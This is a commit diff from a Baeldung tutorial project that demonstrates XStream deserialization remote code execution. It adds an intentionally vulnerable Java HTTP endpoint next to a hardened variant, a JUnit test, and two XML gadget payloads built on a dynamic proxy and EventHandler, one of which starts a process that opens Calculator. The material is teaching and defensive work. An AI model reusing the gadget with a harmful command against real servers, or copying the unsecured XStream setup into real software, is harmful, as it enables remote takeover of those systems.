BAEL-2121 XStream RCE

This commit is contained in:
Johnathan Gilday 2019-06-30 21:45:57 -04:00
parent 1318804764
commit 1ba4b23099
9 changed files with 333 additions and 2 deletions

View File

@ -11,6 +11,7 @@
<groupId>com.baeldung</groupId>
<artifactId>parent-modules</artifactId>
<version>1.0.0-SNAPSHOT</version>
<relativePath>../pom.xml</relativePath>
</parent>
<dependencies>
@ -28,8 +29,8 @@
</dependencies>
<properties>
<xstream.version>1.4.9</xstream.version>
<xstream.version>1.4.10</xstream.version>
<jettison.version>1.3.8</jettison.version>
</properties>
</project>
</project>

View File

@ -0,0 +1,92 @@
package com.baeldung.rce;
import com.sun.net.httpserver.HttpServer;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.security.NoTypePermission;
import com.thoughtworks.xstream.security.NullPermission;
import com.thoughtworks.xstream.security.PrimitiveTypePermission;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Set;
/**
* Web application which is intentionally vulnerable to an XStream remote code
* exploitation (RCE).
*
* <p>
* This test application is meant to maintain a set of {@link Person} models. It
* exposes a "/persons" endpoint which supports the following operations:
*
* <ol>
* <li>{@code POST} XML for adding a new {@link Person} to the set
* <li>{@code GET} for retrieving the set of {@link Person} models as XML
* </ol>
*
* The {@code POST} handler is vulnerable to an RCE exploit.
*/
public final class App {
public static App createHardened(int port) {
final XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });
return new App(port, xstream);
}
public static App createVulnerable(int port) {
return new App(port, new XStream());
}
private final int port;
private final Set<Person> persons;
private final XStream xstream;
private HttpServer server;
private App(int port, XStream xstream) {
this.port = port;
persons = new HashSet<>();
// this app is vulnerable because XStream security is not configured
this.xstream = xstream;
this.xstream.alias("person", Person.class);
}
void start() throws IOException {
server = HttpServer.create(new InetSocketAddress("localhost", port), 0);
server.createContext("/persons", exchange -> {
switch (exchange.getRequestMethod()) {
case "POST":
final Person person = (Person) xstream.fromXML(exchange.getRequestBody());
persons.add(person);
exchange.sendResponseHeaders(201, 0);
exchange.close();
break;
case "GET":
exchange.sendResponseHeaders(200, 0);
xstream.toXML(persons, exchange.getResponseBody());
exchange.close();
break;
default:
exchange.sendResponseHeaders(405, 0);
exchange.close();
}
});
server.start();
}
void stop() {
if (server != null) {
server.stop(0);
}
}
int port() {
if (server == null)
throw new IllegalStateException("Server not started");
return server.getAddress()
.getPort();
}
}

View File

@ -0,0 +1,43 @@
package com.baeldung.rce;
import java.util.Objects;
/** Person model */
public final class Person {
private String first;
private String last;
public String getFirst() {
return first;
}
public void setFirst(String first) {
this.first = first;
}
public String getLast() {
return last;
}
public void setLast(String last) {
this.last = last;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (!(o instanceof Person)) {
return false;
}
Person person = (Person) o;
return Objects.equals(first, person.first) && Objects.equals(last, person.last);
}
@Override
public int hashCode() {
return Objects.hash(first, last);
}
}

View File

@ -0,0 +1,65 @@
package com.baeldung.rce;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.SocketException;
import java.net.URL;
import static org.junit.Assert.assertTrue;
/**
* Unit test which demonstrates a remote code exploit against the {@link App}
* server. Sends an XML request containing an attack payload to the {@code POST}
* endpoint.
*/
public final class AppUnitTest {
private App app;
/** start a new web server */
@Before
public void before() throws IOException {
app = App.createVulnerable(0);
app.start();
}
/** stop the web server */
@After
public void after() {
if (app != null)
app.stop();
}
/**
* Test passes when an {@link IOException} is thrown because this indicates that
* the attacker caused the application to fail in some way. This does not
* actually confirm that the exploit took place, because the RCE is a
* side-effect that is difficult to observe.
*/
@Test(expected = SocketException.class)
public void givenAppIsVulneable_whenExecuteRemoteCodeWhichThrowsException_thenThrowsException() throws IOException {
// POST the attack.xml to the application's /persons endpoint
final URL url = new URL("http://localhost:" + app.port() + "/persons");
final HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setUseCaches(false);
connection.setRequestProperty("Content-Type", "application/xml");
connection.connect();
try (OutputStream os = connection.getOutputStream(); InputStream is = AppUnitTest.class.getResourceAsStream("/attack.xml")) {
byte[] buffer = new byte[1024];
while (is.read(buffer) > 0) {
os.write(buffer);
}
}
final int rc = connection.getResponseCode();
connection.disconnect();
assertTrue(rc >= 400);
}
}

View File

@ -0,0 +1,7 @@
package com.baeldung.rce;
/**
* Indicates a successful remote code execution attack has taken place.
*/
final class AttackExploitedException extends RuntimeException {
}

View File

@ -0,0 +1,13 @@
package com.baeldung.rce;
/**
* Class which contains an action to throw {@link AttackExploitedException}.
* This helper is used by {@link AppTest} to determine when the remote code
* exploit has taken place.
*/
final class AttackExploitedExceptionThrower {
public void throwAttackExploitedException() {
throw new AttackExploitedException();
}
}

View File

@ -0,0 +1,82 @@
package com.baeldung.rce;
import com.thoughtworks.xstream.XStream;
import org.junit.Before;
import org.junit.Test;
import java.util.Collections;
import java.util.Map;
import static org.junit.Assert.assertEquals;
/**
* Demonstrates XStream basics
*/
public final class XStreamBasicsUnitTest {
private XStream xstream;
@Before
public void before() {
xstream = new XStream();
xstream.alias("person", Person.class);
}
@Test
public void whenWritePerson_thenWritesExpectedXml() {
Person person = new Person();
person.setFirst("John");
person.setLast("Smith");
String xml = xstream.toXML(person);
// @formatter:off
String expected = ""
+ "<person>\n"
+ " <first>John</first>\n"
+ " <last>Smith</last>\n"
+ "</person>";
// @formatter:on
assertEquals(expected, xml);
}
@Test
public void whenReadXmlAsPerson_thenReturnsNewPerson() {
// @formatter:off
String xml = ""
+ "<person>"
+ " <first>John</first>"
+ " <last>Smith</last>"
+ "</person>";
// @formatter:on
Person person = (Person) xstream.fromXML(xml);
Person expected = new Person();
expected.setFirst("John");
expected.setLast("Smith");
assertEquals(person, expected);
}
@Test
public void givenXmlRepresentationOfMap_whenDeserialize_thenBuildsMap() {
// @formatter:off
String xml = ""
+ "<map>"
+ " <element>"
+ " <string>foo</string>"
+ " <int>10</int>"
+ " </element>"
+ "</map>";
// @formatter:on
@SuppressWarnings("unchecked")
Map<String, Integer> actual = (Map<String, Integer>) xstream.fromXML(xml);
final Map<String, Integer> expected = Collections.singletonMap("foo", 10);
assertEquals(expected, actual);
}
}

View File

@ -0,0 +1,12 @@
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target
class='com.baeldung.rce.AttackExploitedExceptionThrower'>
</target>
<action>throwAttackExploitedException</action>
</handler>
</dynamic-proxy>
</sorted-set>

View File

@ -0,0 +1,16 @@
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target
class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>